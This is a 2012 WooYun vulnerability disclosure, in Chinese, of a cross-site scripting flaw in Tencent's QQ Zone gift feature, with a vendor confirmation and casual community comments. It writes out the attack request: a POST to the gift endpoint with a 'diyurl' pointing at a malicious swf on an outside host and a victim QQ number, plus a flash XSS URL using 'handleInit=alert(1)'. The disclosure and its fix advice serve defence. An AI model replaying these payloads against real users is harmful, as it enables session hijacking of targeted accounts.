当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07684

漏洞标题：QQ空间礼物功能XSS可以攻击任意指定QQ号码用户

相关厂商：腾讯

漏洞作者： gainover

提交时间：2012-05-30 13:59

修复时间：2012-07-14 14:00

公开时间：2012-07-14 14:00

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-30： 细节已通知厂商并且等待厂商处理中
2012-05-30： 厂商已经确认，细节仅向厂商公开
2012-06-09： 细节向核心白帽子及相关领域专家公开
2012-06-19： 细节向普通白帽子公开
2012-06-29： 细节向实习白帽子公开
2012-07-14： 细节向公众公开

简要描述：

今天是俺生日～， 收到不少好友发过来的礼物，都是QQ空间里的那种什么“绿巨人”啊，“小汽车”啊！ 就是没人送俺真的礼物啊，不过礼轻情意在么。
中午苦逼的搞了一碗3块钱的鸡蛋长寿面，祝我早日找个妹子～～。看到这些“虚拟”的礼物的同时。心里就想了下，要是这个礼物功能存在XSS漏洞的话，岂不是中率很高？ 于是就有了【详细说明】里的内容。。。
QQ空间礼物功能存在几处缺陷，可导致对指定QQ号码用户发起攻击。
由于礼物会以系统消息的形式推送给用户，用户只要点开消息就会中招。 中率应该是相当的高！

详细说明：

摘要：主要存在2个缺陷。
缺陷1：是对用户输入没有判断导致XSS，
缺陷2: 对用户赠送目标QQ号码，没有进行关系判断。
缺陷功能： QQ空间礼物功能之 diy 礼物
缺陷程序： http://drift.qzone.qq.com/cgi-bin/sendagift
缺陷参数1： diyurl （此参数是用户自定义图片地址，但是没有对地址进行检查）
缺陷参数2： targetuin （此参数是推送礼物目标QQ号码，但是没有检查是否是好友）
缺陷关联swf文件：http://qzs.qq.com/qzone/gift/CustomGiftViewer.swf
缺陷说明:

swf文件中，直接使用 new Loader() 来加载了 diyurl 指定的图片文件。而当diyurl设置为我们自定义的swf文件时，且调用CustomGiftViewer.swf的allowScriptAccess被设置为了always, 因而将触发xss。


测试步骤：
1. 黄钻VIP3或年费用户
2. POST http://drift.qzone.qq.com/cgi-bin/sendagift?g_tk=399706077
POSTDATA
giftid:67081 (diy礼物的商品编号)
diyurl:http://xsst.sinaapp.com/Xss.swf (恶意swf)
targetuin:48564615 (受害者QQ号码)
漏洞效果，见漏洞证明。由于已经调用了外部swf文件，后续的如何调用外部JS文件就不做说明了。

漏洞证明：

当向目标发送礼物后。 过若干分钟后，QQ将收到一条礼物图片的系统消息，用户点开，即触发XSS。


此外，此文中提到的 http://qzs.qq.com/qzone/gift/CustomGiftViewer.swf 还存在一处 flash xss 漏洞。
http://qzs.qq.com/qzone/gift/CustomGiftViewer.swf?handleInit=alert(1)

修复方案：

1. http://drift.qzone.qq.com/cgi-bin/sendagift 的 diyurl 进行域的判断。 同时能够在CustomGiftViewer 做出限制更好。
2. 对被发送的QQ号码进行好友关系判断，可以大大降低利用范围。

版权声明：转载请注明来源 gainover@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2012-05-30 17:26

厂商回复：

多谢反馈，我们正在跟进修复中

最新状态：

暂无

漏洞评价：

评论

  1. 2012-05-30 14:00 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    我信洞主+洞主走火入魔了～

  2. 2012-05-30 14:06 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 走火入魔是没自宫的结果。。。

  3. 2012-05-30 14:07 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @xsser 3块钱一碗的鸡蛋长寿面,腾讯要报销的。

  4. 2012-05-30 14:12 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    正文忘写了， 感谢 @px1624 为本文所提供的几个测试帐号。

  5. 2012-05-30 14:17 | shine 认证白帽子 ( 普通白帽子 | Rank:831 漏洞数:77 | coder)

    汝之情操，吾感涕零！

  6. 2012-05-30 14:18 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover 感谢党，感谢CCAV，感谢小马哥，感谢乌云，感谢**********省略10万字。

  7. 2012-05-30 14:23 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker 让我想到了微博上的那句，如今我毕业了，感谢我的女朋友，为了我的研究生活不受影响，忍了3年没来见我。。。

  8. 2012-05-30 14:24 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover — —，那女的还在？

  9. 2012-05-30 14:25 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @zeracker 301变10万字党了

  10. 2012-05-30 14:26 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker 其实那个男博士是单身的～～～

  11. 2012-05-30 14:30 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全（招人中，有兴趣请私信...)

    又是一神作！

  12. 2012-05-30 14:44 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    嘎嘎。大家都还活着。

  13. 2012-05-30 14:58 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    苦逼的我，还在和代码做斗争，看见大家的留言，悄然一乐，顿觉精神抖擞，继续斗争。

  14. 2012-05-30 16:11 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    还在搞毕设，看到有提到我，来酱油下，露个脸，混面熟！

  15. 2012-05-30 17:18 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    礼物功能貌似以前我也测试过..肿么木有发现...求详情

  16. 2012-05-30 17:19 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    那么，那么，祝生日快乐吧，早日找到粉红木耳

  17. 2012-05-30 18:13 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover 生日快乐哈。。。

  18. 2012-05-30 18:42 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @popok @zeracker 多谢各位哈～

  19. 2012-05-30 18:45 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @gainover 我也祝一下，表示下，gn，hb

  20. 2012-05-30 18:46 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @only_guest ，现在礼物有很多种，可以送普通的，还可以送带歌曲的，带自定义内容的。功能多了，就容易出问题了。

  21. 2012-06-04 19:10 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    。。。。。 黄钻用户才能测试。

  22. 2012-06-04 19:34 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @rayh4c = =，俺是找楼上的楼上的楼上借了几个黄钻号测试的。。每个黄钻号，每天还限制只能送6次礼物。。

  23. 2012-07-02 17:11 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @gainover - -....我得找个汉化的反编译工具,英文的蛋疼。。

  24. 2013-03-10 00:02 | 情逍遥 ( 路人 | Rank:10 漏洞数:3 )

    强大，伤不起